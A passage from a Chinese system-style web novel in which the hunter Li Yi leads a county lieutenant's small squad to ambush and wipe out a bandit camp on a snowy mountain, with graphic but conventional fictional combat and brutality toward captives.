“将计就计。”李逸眼中闪过一丝精光:“明日行动之时我们见机行事”
“冻坏了吧?靠过来些,我给你暖暖。”
李逸伸手将秦心月拉到身边,让她把冻得冰凉的手脚塞进自己的皮袄里。虽是穿着厚手套和靴子,但外面气温低至零下二十多度,一个时辰在外蹲守跟踪让她的手脚冷得像冰块。
“嘶……”刚一接触到那刺骨的寒意,李逸忍不住倒吸一口凉气。秦心月想把手脚抽回,却被他紧紧按住。
“没事,很快就暖过来了。”李逸笑着安抚,伸手帮她拢了拢领口的绒毛。
看着李逸这温和的笑脸,秦心月的心先一步暖了起来。
二人维持着这略显怪异的姿势坐了十几分钟,待她的手脚恢复,李逸很自然地搂着她躺在车厢的白布上。
这是秦心月第一次被异性如此亲密地搂着,纵使她性子沉稳,心跳也不受控制地加速,脸颊阵阵发烫。车厢外呼啸的寒风,被两人贴近的心跳声彻底掩盖,狭小的空间里弥漫着淡淡的暧昧气息。
天还未亮,天边刚泛出一抹鱼肚白,赵川便过来拍打车厢,喊李逸和秦心月起身。
二人下车时,正看到士兵们在院子里忙活着煮粥,那几位村里的寡妇也在一旁帮忙,周老实也早早地来了,正站在院子门口,看似在张望,实则在观察队伍的动静,眼神不时扫过马车和士兵的装备。
李逸眉头微蹙,走到赵川身边低声说道:“县尉大人,冬日天短且积雪深厚。我平日狩猎时,都会趁天不亮进山,此时的猎物最为松懈,更容易得手。”
赵川略一沉吟,李逸说的是猎物,但他联想到的是山里的恶匪。若是等他们吃完早饭再进山,恶匪那边恐怕也做好了准备。他当即决断:“好!就依你所言!把昨日制作的斗篷都拿出来,我们换上出发!”
“大人不急,等临近山林再换不迟。”李逸连忙劝阻,生怕此刻换装被周老实看到,再次泄露消息。
赵川瞥了眼那些精神萎靡的士兵,眉头紧锁。意识到这段时间对下属太过纵容,等剿匪结束,必须好好操练他们一番。
“不用煮粥了!把昨夜剩下的肉分一分,即刻进山!”
虽说下令即刻出发,但这三十多名士兵集合完毕却用了整整十分钟。
有人拖沓着整理装备,有人抱怨着天寒,队伍松散不堪。周老实站在一旁,假意帮忙催促士兵,实则将队伍的情况尽收眼底,嘴角勾起一抹不易察觉的笑容。
李逸看在眼里,心中暗叹,若是将希望寄托在这些人身上,恐怕此次剿匪难有胜算。
这更坚定了他甩开大部队单独行动的决心,眼线昨夜已经报信,恶匪此刻定然早已严阵以待做好准备。
“都给老子打起精神来!今日务必将那伙恶匪一网打尽!”
赵川厉声呵斥,率先迈步向村外走去,队伍缓缓出村,李逸和秦心月刻意走在队伍末尾.....
第五十章:这种人是怎么当上县尉的?
出村时,李逸看到周老实站在村口树下,一直盯着他们向桦树林行进。
村外是一片白茫茫的雪地,厚厚的积雪将地面的杂草压弯掩埋,脚下不时传来咯吱咯吱的声响,给行走增添了不少阻力。
远处,西凉山的两座山丘被周围的土丘环绕,山脚下是一片茂密的桦树林,一棵棵桦树笔挺地立在雪中,银装素裹,透着几分萧瑟的美感。
西凉山并非大荒村那边连绵不绝的山脉,主要由两座较高的山丘和周围散落的小土丘组成,山林茂密,地形比较复杂。
队伍走了约莫半个时辰,赵川回头张望,见李逸和秦心月始终缀在队尾,不由得微微皱眉。
眼看着就要接近桦树林,赵川抬手喝令:“停下!”
他转身走到队伍尾端,对李逸说道:“李兄弟,此刻可以分发斗篷了吧?前方就是山林,再不换装就来不及了。”
李逸却像是没听见一般,转头望向村子的方向,确认距离已远再也看不到村里的人影,才回过头问道:“县尉大人,你们之前几次进山剿匪,都是从这里进入的吗?”
“正是!”赵川点头,语气理所当然:“村正说了,他们平日进山采山货都走这条道,而且那伙恶匪当日逃窜时,也是从这里进的山。”
“可这样一来,反倒方便恶匪布置陷阱。”李逸直言不讳:“我们每次都走固定路线,极易踏入对方预设的埋伏。他们只需凭借有利地形,便能轻松应对。”
赵川皱眉反驳:“可村里的农户说,其他方向山路崎岖难行,还容易迷路。从这里进山,能最快抵达两座主山之间的山坳,我怀疑恶匪的巢穴就藏在那里,要么是自建的房屋,要么是天然的山洞。”
李逸的眼角微不可查地抽搐了一下,心中暗自吐槽:这种人是怎么当上县尉的?是关系户还是有后台?
见到李逸神色凝重,赵县尉也跟着皱起眉头,沉声问道:“怎么?有何不妥?”
李逸心底暗自腹诽:就你这直冲硬闯的法子,不全军覆没都算运气好。但顾及到对方的身份脸面,他终究没把这话说出口,只是换了种方式引导。
“县尉大人,你可知我们当初是如何猎杀那头猛虎的?”
赵川一愣,满脸困惑,眼下正商议剿匪事宜,怎么突然扯到猎虎上了?但他还是耐着性子听下去。
李逸自顾自继续说道:“那头猛虎当时就躲在山坳中。期初我们八个猎户进山,发现它的踪迹后,大伙都觉得人手充足打算一拥而上,每人射一箭将它射杀。可等我们沿着山坳深入时,猛虎早察觉到了动静,绕到侧面突然发起突袭。那一战,我们当场被扑杀三人,剩下五人仓皇逃窜,差点没能活着下山。”
“大虫本就凶猛,捕猎时难免有死伤!”赵川插了句嘴,脸上还带着几分一语中的的自得,仿佛看透了其中的关键。
李逸不为所动,继续说道:“所以第二次进山,我们换了策略。让四人在山坳外周旋吸引猛虎注意,我则绕到山坳后方悄悄摸过去,放冷箭一箭命中猛虎眼睛,当场将其射杀,全程没有任何人伤亡......”
说完,李逸便不再言语,只是平静地注视着赵川。
他已然看出,这位县尉性子耿直,脑子也转得慢,若是说得太直白,既伤他脸面,恐怕还会引起抵触,只能用讲故事的方式旁敲侧击。
心累啊……
李逸暗自叹气,侧头时恰好撞见秦心月投来的疑惑目光,瞬间明白她的心思。
猎杀猛虎这事他做得极为隐秘,白雪儿和于巧倩都不知情,而秦心月当时正在县城忍饥受冻,自然对这段过往也一无所知。
“呃……”
赵川眉头拧得更紧,低头沉思了半晌,才猛然拍了下大腿,恍然明悟:“哦!李兄弟,你的意思是....我们这次剿匪也照这个法子来?”
李逸暗暗松了口气,还好还好,不算无可救药,就怕遇到独断专行自傲自大的性子。
相处至今,他发现赵川是个藏不住心思的人,心里想什么都会直接说出来,反倒少了许多弯弯绕绕。
“正是!”李逸神色一正:“恶匪凶悍且狡诈,不能以常理度之。我们挑选几名好手绕路进山,其余人留在桦树林入口徘徊牵制,这便是声东击西之计!”
赵川眯起眼睛,反复咀嚼着声东击西四个字,随即一拍手掌:“好一个声东击西!就按你说的办!”
他重新上下打量李逸,眼中满是赞赏:“不愧是能猎杀猛虎的猎户,跟那些贪生怕死的家伙就是不一样!”
说罢,他转身将所有士兵召集起来,在矮子里挑大个挑了五个机灵且箭法不错的年轻新兵,加上他自己、李逸和秦心月,一共八人。
“就我们八人行动,你看如何?”
李逸扫过那五个新兵,见他们眼神明亮,透着一股初生牛犊不怕虎的冲劲,正是眼下需要的锐气,当即点头:“足够了!”
他将提前赶制的斗篷分发下去,众人迅速换上。斗篷虽不是纯粹的白色,却恰好能与雪地中枯草的黄色相融,趴在雪地里时,远远望去几乎与环境融为一体,很难察觉破绽。
赵川背上弓箭,又将佩刀牢牢系在腰间。秦心月通过之前的观察,早已看出他是擅长近战搏杀的好手。
赵川叫来队伍里的两个什长,命令他们带着剩余士兵在桦树林一带游击干扰,只在外围活动,不得深入,走一段便退,退回再进,以此吸引恶匪注意力。
那两个什长本就是兵油子,不用正面与恶匪搏杀只是在外围虚张声势,自然乐得应允,连忙点头领命。
赵川眼底难掩兴奋之色,李逸展现出的智谋与能力,让他对此次剿匪多了几分底气:
“我们现在就出发?”
李逸提议道:“还不清楚恶匪的眼线藏在何处,不如我们先跟在大部队身后,到了桦树林外围再悄悄脱离,这样更稳妥。”
“我看可行!”赵川连连点头,深以为然。
八人悄悄跟在队伍末尾,眼看就要抵达桦树林外围,李逸与秦心月对视一眼,率先俯身隐入路边的雪丛,其余人紧随其后,动作轻巧的连队伍中那些松散的士兵都未曾察觉。
跟在李逸和秦心月身后,五个新兵被这隐秘的氛围感染,脸上都露出几分兴奋与紧张。他们虽不懂其中门道,却也能感觉到,这次行动与以往几次的莽撞进山截然不同,心中都暗暗期待着能立下军功,日后得以提拔为伍长或什长。
李逸走在最前方,一边走一边仔细观察地形山势。
在他看来,优秀的猎人从不会局限于熟悉的猎场,而是能在任何环境中迅速适应,即刻进入狩猎状态。不仅是固定区域的狩猎王者,更能成为任何一片猎场的主宰。
他暗自期待着狩猎等级再次突破,届时便能在任何猎场中让所有生灵都沦为他的猎物。
“李兄弟,我们这越走越远了啊。”赵川加快脚步追到李逸身后,疑惑地问道。
“赵县尉放心,选一条好路线,既能让我们更快进山,也能在后续战斗中占据有利地势。”李逸语气笃定。
见他胸有成竹,赵川便不再多问,转头对身后的士兵叮嘱道:
“都跟紧点!机灵着点,别暴露行踪!”
“是!”
一行人一路绕道桦树林东段的尽头,沿着黄土梁的缓坡向山里进发。
从这个方向看,两座主峰的距离似乎最为遥远,但李逸丝毫不担心。他们走走停停,行进了一个小时,竟连一处陷阱都没遇到。
“**,这村子里怕是有恶匪的眼线啊!”赵川这才后知后觉地反应过来。
按村民所说,只有桦树林那条路最好走,其他方向既远又难行,可他们走了这么久,除了路程稍远,并未觉得路况有多恶劣。
李逸与秦心月交换了一个眼神,心中暗自腹诽:县尉大人您总算发现了,慧眼如炬!真是不容易啊!
这时,身后一个新兵小声说道:“是啊大人,那个村正看着就很可疑。他的眼神……怎么说呢.....根本没有寻常农户见到我们时的畏惧,说话虽客气,却敢直勾勾地打量我们,换做旁人早就躲得远远的了。”
另一个新兵也跟着附和:“没错!上次我去借水桶,还看到他偷偷往山林方向张望,神色鬼鬼祟祟的。”
赵川猛地一拍大腿,懊恼地说道:“哎呀!感情我们的一举一动早就
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被对方知晓了!我就说每次进山,那几个寡妇和村正都格外热情,还以为是感激我们剿匪,原来是来探口风的!等这次剿匪成功,我定要把他们全都押回大牢审问!”
他忽然想起刚才李逸等人的反常举动,试探着问道:“李兄弟,你该不会早就看出不对劲了吧?”
李逸笑了笑,没有直接承认,只是说道:“等抓到山里的恶匪,一审便知。”
话音刚落,走在最前方的李逸突然抬手示意停下,同时拉着身边的秦心月迅速蹲下。身后的赵川和几个新兵也立刻跟着蹲低身子,大气不敢出。
前方的桦树林看似一切正常......
今日天清气朗,连风都没有,林间静得能听到枝头雪花落下的轻响,却看不到半个人影。
但李逸凭借多年的狩猎经验,从前方杂草的异常分布,以及几棵大树树枝的不正常弯曲中,敏锐地察觉到陷阱的痕迹。
“有陷阱,别触发,跟着我绕开!”
李逸低声说道,随即换了个方向,斜着向桦树林深处走去。
猎人布置陷阱,不仅针对野兔、野鸡这类小型猎物,也会为应对大型猛兽设置致命陷阱。而布置陷阱的关键,在于选择合适的地点,并根据地形设计陷阱类型。
李逸推测,这伙恶匪中定然有经验老道的猎户。他试着代入对方的思维,在可能设置陷阱的位置仔细排查。
赵川疑惑地看了半天,也没发现任何异常。直到他们绕到侧面,才看到地上斜插着的锋利木刺,尖端闪着寒光,若是不慎触发陷阱难免死伤。心中对李逸的信服又多了三分。
“咕咕咕……”
一阵鸟叫声从不远处的林中响起,声音略显突兀,紧接着,其他方向也传来此起彼伏的鸟叫声。
李逸的嘴角勾起一抹冷笑,并非所有人都能将鸟叫模仿得惟妙惟肖,骗骗不熟悉鸟类的外行人或许可以,却瞒不过一个优秀的猎人。
除了第一声模仿的还算接近,其余几声的差别极为明显。他仔细分辨,发现模仿鸟叫的共有六人,分布在不同方位。其中四人位于桦树林正面入口处,那里显然是他们的重点埋伏的区域。而有一人的声音,听着离这边格外近。
见李逸再次停下脚步,赵川压低声音问道:“怎么,李兄弟又发现陷阱了?”
李逸摇了摇头,指了指自己的耳朵:“刚才的不是真鸟叫,是有人模仿的,他们在通过这种方式传递消息。”
赵川眼睛骤然瞪大!
他刚才压根没在意,山林中本就不缺鸟叫声,之前也断断续续听到过,根本没多想。
“那我们现在怎么办?是不是被他们发现了?”此刻的他,已然对李逸的能力彻底信服。
“你们在这等着,我摸过去解决掉这边的人。”李逸说着便要起身,却被身边的秦心月一把拉住。
“放心,我能解决!”
他对秦心月递去一个安抚的眼神,随即压低身子,在积雪覆盖的杂草中缓缓移动。有斗篷的伪装,只要控制好前进速度,便能完美融入环境。
抵达大致区域后,李逸趴在雪地里一动不动。他知道,对方为了观察动向,必然会选择一个高处,而这片区域中,只有那边的缓坡符合条件。
李逸猜测对方也做了伪装,因此并不心急。这边并非恶匪的重点埋伏区域,人手本就少,最多安插一两人。也正因人手不足,他们才会在村外安插眼线,并引导官兵走向预设的埋伏圈。
李逸刻意避开树林,选择在树少的开阔地移动,若是在林间穿行,斗篷的伪装效果会大打折扣。他在缓坡侧面静静等待了十分钟,远处再次传来鸟叫声......
咕咕咕....
声音频率与刚才一致。紧接着,桦树林中心区域方向传来一阵相对急促的鸟叫,李逸分析,这应该是在传达官兵已到的消息。最后,这边也传出回应,叫声与之前别无二致,大概是在回复一切正常或者未发现异常。
这声音极尽,李逸断定对方就在缓坡之上,距离不足百米!
他缓缓摘下反曲**,将箭暂时收入物品栏,这样战斗时能更方便地随时取箭。
狩猎,正式开始!
第五十一章:有埋伏!
李逸调整呼吸,朝着土坡的方向又移动了十几米,每一步都走得格外谨慎。越靠近目标,斗篷的伪装效果就越弱,脚下的杂草与积雪稍一用力便会发出细碎声响。庆幸的是,行走时斗篷的下摆拖在雪地上,恰好掩盖了他留下的浅浅足迹,如同一只潜行的雪豹,悄无声息地逼近猎物。
李逸双眼紧盯着缓坡顶部,锐利的目光在草丛中仔细排查,他并不着急行动,既然对方没有在这个过程发现他,说明视线一直盯着某片固定的区域。
很快...两处可疑之处进入视线,那里的杂草过于整齐集中,感觉像是被人刻意堆拢起来,为了遮挡些什么。
就在这时,脚下忽然踩到一块硬邦邦的东西,李逸低头一看,是块拳头大的硬土块,他不动声色地将土块捡起,稍作思索,手腕猛然发力,朝着远处一棵桦树掷了过去,整个过程双眼一直盯着土坡上的可疑之处。
嘭!
土块重重砸在树干上,枝头积压的积雪簌簌落下,夹杂着几片枯黄的桦树叶,在寂静的山林中格外显眼,发出细碎的声响。
“沙沙……”
突如其来的动静立刻引起了土坡上人的注意。杂草被缓缓拨开,一个戴着皮帽子的男人探出头来,警惕地向声响处张望。
“什么东西?”他压低声音问道。
“不清楚,咚的一声响,莫不是有兔子撞到树上了?”另一个声音从草丛深处传来,带着几分慵懒的期待,似乎在休息。
李逸虽听得不甚真切,但能确定土坡上藏着两个人。他绕路潜行至今未被发现,说明斗篷的伪装十分成功,否则衣服和雪地的反差,会让他们一眼就看出行迹。
“我去看看,这几天被官兵盯得太紧,好几天没沾荤腥了。”先前探出头的男人说着,便要从草丛中起身。
“行,你去吧,我在这儿盯着。”同伴回应道。
杂草再次沙沙晃动,那个穿着厚皮袄的男人缓缓站起身,正准备迈步下坡.......
李逸一直耐心等待的就是这个时机,反曲**就一直窝在手里,所以几乎在对方身形完全展露的瞬间,他就猛地拉开了手中的反曲**。
“嗖......”
锐利的破风声划破空气,羽箭如流星般精准地洞穿了男人的胸口。他发出一声沉闷的哼唧,身体无力地向前倾倒,顺着土坡就那么滚了下来,沿途带起一片雪沫。
这一切发生得太过突然,土坡上的另一人愣了片刻,竟没反应过来同伴已然殒命,而射出的箭会如此至今,几乎就在眼前!
李逸抓住这转瞬即逝的间隙,如同受惊的兔子般迅猛窜上土坡,第二支羽箭已然凭空出现在手中,搭弦、拉满,蓄势待发。
直到看到同伴的尸体滚到坡底,趴在厚厚杂草之上的男人才终于回过神来,慌忙蹲起身想要拉弓还击。
可他的弓还未拉开,李逸的第二支箭便已射出,羽箭直接钉入他的额头,箭杆还在轻颤着。
男人惊愕得瞪大双眼,身体顺着羽箭的力道向后仰倒,温热的血液顺着额头流淌而下,他惊恐的眼神随着生命的流逝逐渐涣散,四肢还在无意识地抽搐着。
【狩猎熟练度+80】
【狩猎熟练度+80】
顾不上查看系统提示,李逸迅速冲上坡顶,仔细检查了周围的草丛,确认没有第三人埋伏后,才松了口气。
原来他们在这里挖了人形土坑,还在里面厚厚地铺着干草。
李逸快速走下土坡,沿着原路返回寻找秦心月与赵县尉等人,心中暗自惊喜,没想到在山林中狩猎,人竟也被归类为猎物,还能获得如此可观的狩猎熟练度!
秦心月与赵川等人已经等了二十分钟,长时间保持下蹲姿势让他们双腿发酸发麻。
眼看着时间越来越久,赵川心中开始隐隐不安,但随后就看到李逸的身影从前方跑回来。
赵川立刻迫不及待地迎了上去:“怎么样?李兄弟,有什么发现?”
李逸伸出两根手指,语气干脆:“有两个放哨的,已经全被我解决了,我们现在要赶紧过去!”
赵川心情瞬间激动起来,大手重重拍在李逸的肩膀上:“太好了!事不宜迟,我们快出发!”
循着李逸探出来的安全路线,八人很快抵达刚才的土坡附近,也看到了那两具被射杀的恶匪尸体。
“咕咕咕......”
远处.....那怪异的鸟叫声再次响起,李逸立刻张嘴模仿着发出回应,音色与节奏拿捏得恰到好处。
“县尉大人,他们的暗号每隔一段时间就会传递一次。所以,想不惊动他们摸进去,我们必须在这里留下一个人负责应对,避免让山里的恶匪提前察觉。”李逸沉声说道。
“嗯,你说的有理。”赵川稍作思索,点头应允。
随即他挑出一名机灵的手下。李逸耐心教了他十几遍模仿鸟叫的技巧,直到对方掌握要领,还特意叮嘱他每次都最后一个发声且只发一声,降低被识破的风险。
安排好留守的士兵,原本的八人队伍只剩下七人。
有李逸在前方带路,赵川惊讶地发现,他们一路上竟连一个陷阱都没遇到,李逸从不需要费力分辨陷阱的位置,只需凭借狩猎经验判断哪里不适合布置陷阱,便能精准绕开。
此外,他们刻意避开了桦树林的核心区域从侧面绕行,这里能清晰看到人为活动的痕迹,被踩平的积雪、散落的枯枝、还有杂草被踩踏分开的痕迹。
显然,这伙恶匪受限于人手,只能做到外紧内松,根本没有时间将所有活动痕迹彻底掩藏。
又一轮鸟鸣的暗号响起,李逸等人驻足屏息聆听,最后一声回应来自土坡方向,那个留守的新兵表现尚可,虽音色略有偏差,但他只回应了一声,对方很难仅凭这一声就判断出真假。
结合刚才的暗号声与被击杀的两名恶匪,李逸大致估算出,山中还有至少一半的恶匪在某处休息。天寒地冻,除非经过专业训练,否则没人能在冰冷的雪地里蹲守一整天。因此他推测,恶匪大概率采取两班轮换的制度,或是在固定时辰换岗。
“赵县尉,我们加快些脚步。”李逸话音落下,带头赶路的速度明显加快。
赵川连忙招呼着四名手下紧随其后,不敢有片刻耽搁。
一个时辰后,几人终于摸到了两座山丘中间的山坳。这里背风隐蔽,地势平坦,果然是藏匿的绝佳地点。
“看!那边有木屋!”
赵川一眼就看到了山坳中矗立的两栋木屋,精神瞬间为之一振,身旁的四名手下也变得兴奋起来,紧握武器的手微微发颤。
“**!看老子不砍了这些杂碎!”赵川咬牙切齿,说着就要提刀冲上去。
连日来的压抑与烦躁在此刻彻底爆发!上头催逼甚紧,手下屡有伤亡,他早已对这伙**恨之入骨。
“县尉大人,稍安勿躁!”李逸连忙拉住他:“外围还有至少六七名恶匪,若是此刻闹出动静,他们定会立刻回防,到时候我们就会被团团包围!”
赵川深吸一口气,强行平复下激动的心情:“李兄弟说得对,是我太心急了。那依你之见,我们该怎么办?”
李逸嘴角勾起一抹冷笑:“他们之前怎么设伏对付官兵,我们现在就怎么还治其人之身。”
秦心月全程一言不发,只是静静观察着李逸的一举一动。
李逸遇事时的冷静沉着与精准的判断力,让她越发欣赏,心中暗自庆幸自己选对了夫君,沉稳可靠,值得托付。
众人跟随李逸绕到两栋木屋侧面的上坡处,在一片茂密的灌木丛后找到了绝佳的隐藏位置。
“我们先吃些东西恢复体力,不急着动手。”李逸说道。
从清晨赶路至今已近正午,众人早已又累又饿。赵川从怀里摸出一块用布包着的熟羊肉,贴身存放的缘故还带着些许温热,四名手下也纷纷拿出随身携带的羊肉,大口地啃食起来。
李逸则从怀中的布包里摸出两个白面馒头,拉着秦心月走到稍远的一块岩石后。两人一边监视着木屋的动静,一边默默进食,刻意与赵川等人保持距离,避免暴露秦心月的女子身份。
仅仅等待了一刻钟,木屋的方向便传来了动静。屋门吱嘎打开,七个身穿厚重皮衣的男人先后走出木屋,伸着懒腰,低声交谈着向山坳出口走去,看样子是打算换岗替换其他人。
李逸立刻回身拍了拍赵川的肩膀,赵川心领神会地凑了过来。众人纷纷拿起放在身旁的弓箭,下意识地放缓了呼吸,空气中弥漫着紧张的气息。
李逸用胳膊轻轻碰了碰身边的秦心月,以手势示意两人各负责一侧,虽说身边有赵川与兵卒相助,但在真正动手前,他无法确定这些人的实战能力,还是与秦心月
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配合更为稳妥。
很快,那七名恶匪便走到了山坳出口的必经之路,就在几人坡下,李逸缓缓抬起手中的反曲**,秦心月会意,两人几乎在同一时间松开了弓弦。此刻距离目标七八十米,又处于居高临下的位置,山间无风,羽箭可以不受任何影响笔直地射向目标。
“嗖!嗖!”
两声锐利的破风声几乎同时响起,走在队伍最前方与最后方的两名恶匪应声倒地,嘴里发出无意识的闷哼。
李逸的箭从对方的帽檐下射入,径直穿透头颅,秦心月的箭则精准洞穿了目标的脖颈,鲜血瞬间喷涌而出,染红了身下的白雪。
“有埋伏!”
其余恶匪惊恐地反应过来,慌乱中想要拉弓还击。可他们的动作终究慢了半拍,李逸与秦心月的第二支箭已然射出,又有两名恶匪应声倒地。
直到此时,赵川与四名士兵才刚拉弓搭箭完成瞄准,下方的恶匪已然折损四人。残存的三名恶匪在慌乱中射出的箭矢准头极差,纷纷射偏,赵川等人射出的箭也因过距离的原因而偏离目标。
见状,李逸信心大增,当即做出了一个优秀猎人的果决判断。他猛地从碎石后冲出,弓箭朝下拉满蓄力,向前冲出两步后迅速抬手瞄准,指尖同时松开弓弦。
“噗嗤!”
又一名恶匪应声倒地,羽箭精准地射入他的胸口。秦心月见李逸冲了出去,也紧随其后,学着他的动作搭箭拉弦。反曲**的优势在此刻展现得淋漓尽致,在拉弓瞬间用些力气,拉开后借助转轮辅助,只需维持极小的力量便能稳住满弓状态,不仅射速快,还能避免手臂因用力过度而发抖。
身边的同伴接连倒下,最后一名恶匪彻底崩溃,扔下手中的弓箭转身就跑。李逸早已预料到这一幕,因此冲出藏身之处时,特意朝着对方逃跑的方向逼近了十米。他再次松开弓弦,羽箭精准命中对方的右腿。
恶匪吃痛扑倒在地,伸手摸住腰间的**,趴在地上一动不动....
李逸不紧不慢地走上前,在距离对方二十米的位置停下脚步,拉弓搭箭,毫不客气地补上一箭。羽箭从他的后心射入,直接贯穿身体,彻底断绝了他的生机。
射中腿部绝无可能让人当场死亡,从生物学构造来讲,最多只会导致失血过多而亡。更何况,他并未收到系统提示的熟练度增加,显然对方还未断气。
“呀啊.....”
赵川低喝一声,拎着佩刀兴冲冲地冲出藏身之处,却发现七名恶匪已然全部倒地,竟没有一个是他亲手所杀。满心的憋闷没能发泄出来,让他心里很是不痛快,只能悻悻地踢了踢地上的尸体。
“县尉大人,木屋里可能还有人,他们应该藏着一个受重伤的同伙。”李逸提醒道。
赵川闻言,眼睛瞬间亮了起来,连忙招呼着手下向木屋方向冲去。
李逸则走上前,给那个被秦心月射中腹部、尚未断气的恶匪补了一箭,看着视线中弹出的四条熟练度提升提示,心中暗自窃喜。
【狩猎熟练度+80(当前熟练度690)】
确认周边没有其他人后,秦心月凑到李逸身边,小声提醒道:
“夫君,刚才的动静太大,尤其是那个未当场毙命的恶匪发出的哀嚎,在寂静的山林中肯定传出去很远,外围的恶匪或许已经察觉。”
“嗯,不过剩下的几个不足为惧!”
李逸语气笃定,手中的反曲**给了他十足的底气。刚才的实战效果堪称完美,在距离与瞄准速度上形成了绝对碾压,只要掌控好距离,便能让对手毫无还手之力。
两人沿着积雪上的脚印向外围冲去,既然已经端了对方的老巢,剩下的清理工作便轻松了许多。
一阵急促的鸟鸣声突然响起,随后传来的回应声明显变了调。李逸皱眉侧耳倾听,确认土坡方向没有传来回应声,神色才稍稍缓和。
他之前特意叮嘱过留守的兵卒,若是发现鸟叫声有明显变化便不要再回应,错误的回应极易被对方识破,大概率会将恶匪吸引过去,导致那年轻兵卒丧命。
李逸根据暗号声判断出剩余恶匪的位置,带着秦心月迅速向那边赶去。
“嘎嘎嘎......”
一阵野鸡的惊叫声突然传来,李逸立刻停下脚步,一把拉住秦心月,两人迅速扑倒在雪地的杂草中,屏住了呼吸……
第五十二章:凶悍的赵县尉
不多时,两道穿着厚重皮袄的身影从林子深处狂奔而来,就是他们二人惊到林中的野鸡让其惊叫着逃离。
此时这二人,眉头紧锁,神色有些慌张,显然已察觉到山中的异动,急切之下他们脚步凌乱不堪,踩得积雪咯吱作响,溅起的雪沫黏在裤脚。
“什么情况,听声音好像是从木屋的方向来的。”
“不知道,我们守得好好的,怎么可能有人摸进咱们的老窝”
“**,眼看着那些官兵就要退了,偏偏在这个节骨眼儿上,真是该死.....”
两个人一边走一边小声交谈,浑然不觉周围已经暗藏杀机。
待他们踏入射程范围的刹那,李逸与秦心月如猎豹般骤然起身,身形一晃便占据有利位置,拉弓搭箭的动作一气呵成。
“嗯?有人!”
那两个匪徒猝不及防,见眼前突然多出两人,脸上写满震惊,仓促间想要抽箭反击,可他们的动作在李逸二人面前慢如龟爬,连箭还没来得及抽出。
李逸指尖松开,弓弦震颤翁鸣,羽箭如流星般精准射穿其中一人的头颅,那人连哼都没哼一声便直挺挺倒在雪窝中。
秦心月的箭矢则稍偏,只射中了另一人的肩膀,鲜血瞬间染红了皮袄,男人吃痛手中的弓箭脱手落地,身体向后踉跄了几步,正要补上一箭,就听李逸低喝出声。
“留个活口!”
二人联手上前,瞬间将受伤的恶匪制服。秦心月的动作干脆利落,找不到绳索她便直接卸了这男人的手脚关节,只听几声轻微的骨裂声,男人发出撕心裂肺的哀嚎,却再也无法动弹。
二人顾不上他的死活,转身便向桦树林外围疾驰而去,兵贵神速,既然对方已然察觉,必须尽快行动,避免残余匪徒逃窜。
虽说当日劫掠税粮的**仅有十五人,但李逸推测他们在此地的巢穴中至少藏着二十余人。木屋里剩余多少尚不可知,其余匪徒大概率都埋伏在桦树林外围。
另一边,木屋方向.......
赵川听到李逸的提示,恍然惊醒,提着战刀快步跑到木屋前,积蓄已久的怒火让他一脚便将木屋的木门踹得粉碎,木屑飞溅。
刚踏入木屋,赵川眼角的余光就瞥见两道寒芒袭来,只见门后两侧各藏着一名握短刀的汉子,二人一左一右凶狠扑来,脸上满是亡命之徒的狰狞。
赵川浓眉倒竖,怒目圆瞪!
先前在外围没能斩获一个恶匪,他早已憋足了一股劲儿,苦于没有目标发泄,此刻见有敌人送上门,还是两个,他也展现出了自己的凶悍之气。
“哼!”
一声冷哼,面对凌厉的攻击,赵川不退反进!战刀横挥挡住右侧恶匪的劈砍,随即侧身回旋,一记刚猛的后蹬腿将左侧匪徒踹得双脚离地,身体重重砸在身后的小木桌上,碗碟碎裂声与闷哼声同时响起....
右侧匪徒趁机,再次挥刀直劈赵川脖颈,赵川却视若无睹,重心后移后撤半步避开刀锋,以宽厚的臂膀狠狠撞入恶匪怀中,将其顶在木墙上,手腕翻转间,战刀向后刺出,锋利的刀刃轻易划破对方的皮袄与皮肉,径直洞穿其身体。匪徒发出凄厉惨嚎,握刀的手腕重重磕在赵川肩头。
“死!”
赵川目露凶光,双手紧握刀柄猛地扭转,再用力一拉,匪徒的腰部竟被生生斩断,短刀落地,尸体无力瘫倒,鲜血瞬间染红了地面。
“还有你!”
赵川转头怒视着刚从碎桌旁爬起的恶匪,那男人深知落到官兵手中必死无疑,嘶吼着挥刀再次冲来。
赵川抬手挥刀磕飞男人的短刀,欺身上前用胳膊肘猛击其腹部,巨力冲击胃部,恶匪弓着身子干呕不止。
赵川得势不饶人,右脚抬起狠狠踹向对方膝盖,只听咔嚓一声脆响,骨头断裂的声音清晰可闻。
匪徒疼得哀嚎连连,赵川却充耳不闻,迅猛出手折断了他的两条手臂,使其彻底丧失战斗力。
虽说对这些恶匪恨之入骨,但考虑到需向上面人交差,他终究是留了对方一命。
“呸!”
赵川狠狠啐了一口,仍觉不解气,上前一脚踩断了匪徒的另一条腿,又撕下一块破布塞进他嘴里,既防止他咬舌自尽,也免得其哀嚎烦人。
隔壁木屋传来打斗声,还夹杂着女子的尖叫声,赵川迅速赶去,只见手下已然控制住局面。
屋内有三个衣不蔽体瑟瑟发抖的女人,还有一个面色苍白受了伤的男人,唯有一名手下手掌被割破,受了些轻伤。
赵川大步上前,用刀柄狠狠磕在那受伤男人的肩膀上,怒骂道:
“**,总算抓到你了!你小子倒是活下来了,却让救你命的郎中替你顶罪,呸!”
男人却不以为意,冷哼一声:“哼……又不是没给过他诊金,真当那两个金饼是白拿的?”
“还敢嘴硬!”
赵川脸色一沉,握着刀鞘接连抽打男人的脸颊,打得他口吐鲜血,脸颊迅速肿起老高。
“把这几个女人也绑了,带回去严加审问!”赵川转头吩咐手下:“你们两个留下看守,你们两个跟我走!”
安排妥当后,赵川带着两名手下急匆匆向桦树林外围赶去,他知道李逸定然去了那边追缴残匪。
此时林中的鸟鸣声急促响起,却再也没有回应......
剩余的恶匪察觉大事不妙,纷纷从埋伏点钻出,四散奔逃.....
李逸与秦心月及时赶到,当场射杀两人,剩下的却借着山林的掩护逃得无影无踪。
山林广袤,**若是存心躲藏,一时半会儿难以搜寻,还需提防他们布置的陷阱。
就在这时,赵川带着手下赶来,见李逸二人又解决了两个恶匪,顿时精神振奋:
“哈哈……李兄弟,这次真是多亏了你们!回去之后我一定如实上报,为你们多争取些赏钱!”
李逸拱手谢道:“多谢县尉大人。不过剩下的匪徒已然察觉异动,要么逃了要么藏了起来。”
赵川皱眉沉吟片刻,说道:“无妨!先把那个通匪的村正控制住,之后再慢慢搜山,我就不信抓不到他们!”他回头对两名手下吩咐:“你们原路返回木屋看守,机灵些!除了差错小心脑袋不保!”
“是!”二人领命而去。
李逸与秦心月带着赵川前往桦树林外围,与负责牵制的兵卒汇合。赵川当即下令,派十人返回清溪村控制村正与那几个形迹可疑的寡妇,其余人全部参与搜山。
